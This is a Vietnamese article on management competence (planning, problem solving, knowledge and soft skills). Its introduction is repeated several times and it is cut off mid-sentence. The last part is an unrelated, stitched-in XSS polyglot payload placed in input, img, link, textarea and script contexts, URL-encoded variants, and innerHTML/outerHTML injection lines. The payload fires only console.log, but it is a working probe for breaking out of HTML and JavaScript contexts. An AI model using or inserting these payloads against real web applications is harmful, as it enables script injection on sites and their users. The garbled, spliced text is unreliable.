Năng lực quản lý là gì ?

Để lãnh đạo, giám sát một số lượng nhân viên cấp dưới đông, người đứng đầu cũng cần phải có năng lực quản lý giống như một yếu tố không thể thiếu. Vậy thực tế năng lực quản lý là gì, chúng ta hãy cùng tìm hiểu thông qua bài viết dưới đây.Tất cả những ai đã từng bước vào làm một công việc nào đó chắc hẳn đều đã biết mỗi việc mà chúng ta làm muốn đạt được thành công đòi hỏi phải có năng lực. Làm quản lý cũng tương tự như vậy. Để lãnh đạo, giám sát một số lượng nhân viên cấp dưới đông, người đứng đầu cũng cần phải có năng lực quản lý giống như một yếu tố không thể thiếu. Vậy thực tế năng lực quản lý là gì, chúng ta hãy cùng tìm hiểu thông qua bài viết dưới đây.

Trang 1

NĂNG LỰC QUẢN LÝ LÀ GÌ?

Để lãnh đạo, giám sát một số lượng nhân viên cấp dưới đông, người đứng đầu cũng cần phải có năng lực quản lý giống như một yếu tố không thể thiếu Vậy thực tế năng lực quản lý là gì, chúng ta hãy cùng tìm hiểu thông qua bài viết dưới đây.

Tất cả những ai đã từng bước vào làm một công việc nào đó chắc hẳn đều đã biết mỗi việc mà chúng ta làm muốn đạt được thành công đòi hỏi phải có năng lực Làm quản

lý cũng tương tự như vậy Để lãnh đạo, giám sát một số lượng nhân viên cấp dưới đông, người đứng đầu cũng cần phải có năng lực quản lý giống như một yếu tố không thể thiếu.

Vậy thực tế năng lực quản lý là gì, chúng ta hãy cùng tìm hiểu thông qua bài viết dưới

đây.

Khái niệm chung về năng lực quản lý

Thực tế, khái niệm về năng lực quản lý không có gì quá khó hiểu bởi phân tích một cách đơn giản nhất khái niệm này có nghĩa là sự kết hợp của khả năng và thực lực quản lý ở mỗi con người.

Năng lực quản lý của mỗi người thường vừa nằm ở thực lực, tố chất có sẵn bên trong cũng vừa nằm ở những học hỏi ở trường lớp và trải nghiệm thực tế đã qua.

Trang 2

Một người có năng lực quản lý tốt đồng nghĩa với việc họ dễ dàng đạt được kết quả tốt đẹp trong việc đứng đầu, dẫn dắt các nhân viên cấp dưới của mình Từ đó mang lại năng suất, hiệu quả công việc cao.

Những yếu tố tạo ra một người đứng đầu có năng lực quản lý

Trên lý thuyết, năng lực quản lý được phân tích khá đơn giản nhưng thực tế chứng minh rằng trong công việc có rất nhiều yếu tố để đánh giá một người đứng đầu, người lãnh đạo

có năng lực quản lý hay không.

1. Khả năng lập kế hoạch, phân chia công việc hiệu quả

Đầu tiên, một người đứng đầu có năng lực quản lý bắt buộc phải có khả năng lập kế hoạch công việc khoa học và phân chia công việc công bằng, hợp lý cho các nhân viên cấp dưới.

Để làm được điều này, người quản lý đòi hỏi phải có hiểu biết về điểm mạnh cũng như điểm yếu và tâm tư của từng nhân viên Bên cạnh đó họ cũng cần có năng lực nắm bắt công việc nhạy bén, hiệu quả mới có thể lập kế hoạch một cách hoàn hảo nhất.

Năng lực quản lý được tạo ra từ nhiều yếu tố

2. Khả năng giải quyết nhanh chóng và triệt để mọi vấn đề

Trang 3

Người có năng lực quản lý cũng rất cần có khả năng phản xạ nhanh và giải quyết mọi vấn

đề kịp thời mà vẫn đạt hiệu quả.

Người quản lý cần phải nắm rõ họ đang phải làm việc với một số lượng nhân viên cấp dưới rất đông, đồng nghĩa với khối lượng công việc rất nhiều Do vậy trách nhiệm của họ

là rất lớn.

Nếu là một người có sẵn trong mình năng lực quản lý cần thiết thì bằng khả năng và thực lực của bản thân, họ sẽ dễ dàng vượt qua mọi thử thách trong công việc Cụ thể là người quản lý có năng lực thường sẽ bình tĩnh giải quyết mọi khó khăn một cách khéo léo, kịp thời và triệt để.

3. Có kiến thức sâu rộng và kỹ năng mềm cần thiết

Cuối cùng phải khẳng định rằng một người lãnh đạo có năng lực quản lý đòi hỏi phải có kiến thức chuyên ngành sâu rộng và một số kỹ năng mềm cần thiết.

Xét về kiến thức, một người làm chức vụ quản lý thường đã được đào tạo kỹ về chuyên ngành Điều này giúp ích cho họ rất nhiều trong việc điều phối công việc thành công Còn về kỹ năng mềm như chúng ta đã biết trách nhiệm của người quản lý không những phải giám sát, dẫn dắt nhân viên mà còn phải làm việc với cấp trên hay đối tác Do đó người đứng đầu có năng lực quản lý phải có một số kỹ năng mềm như giao tiếp, ứng xử,

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e

/*-/*`/*\`/*'/*"/**/

(/* */oNcliCk=console.log() )

//%0D%0A%0D%0A//

</stYle/</titLe/</teXtarEa/</scRipt/ !>

\x3csVg/<sVg/oNloAd=console.log()//>\x3e

<input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e'></input>

Trang 4

<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e></input>

<img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e>

<a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !

>\x3csVg/<sVg/oNloAd=console.log()//>\x3e">click me</a>

<math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

>\x3csVg/<sVg/oNloAd=console.log()//>\x3e">click me</math>

>\x3csVg/<sVg/oNloAd=console.log()//>\x3e"></iframe>

<! jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e >

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e</style>

<textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e</textarea>

<div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e</div>

var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e";

var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e';

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e</script>

%0A//</stYle/</titLe/</teXtarEa/</scRipt/ !>\x3csVg/<sVg/oNloAd=console.log()//>\x3e*/</script>

</script><script src="https://static.jsbin.com/js/render/edit.js?3.35.11"></script><script>jsbinShowEdit && jsbinShowEdit({"static":"https://static.jsbin.com","root":"https://jsbin.com"});</script><script>

Trang 5

jaVasCript:/-/%60/%5C%60/'/%22//(/%20*/oNcliCk=console.log()%20)//%250D%250A%250D%250A//

%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/ !%3E%3CsVg/%3CsVg/oNloAd=console.log()//%3E%3E var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

>\x3csVg/<sVg/oNloAd=console.log()//>\x3e";document.documentElement.innerHTML = data;

var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=console.log() )//%0D%0A%0D

>\x3csVg/<sVg/oNloAd=console.log()//>\x3e";document.head.outerHTML = data;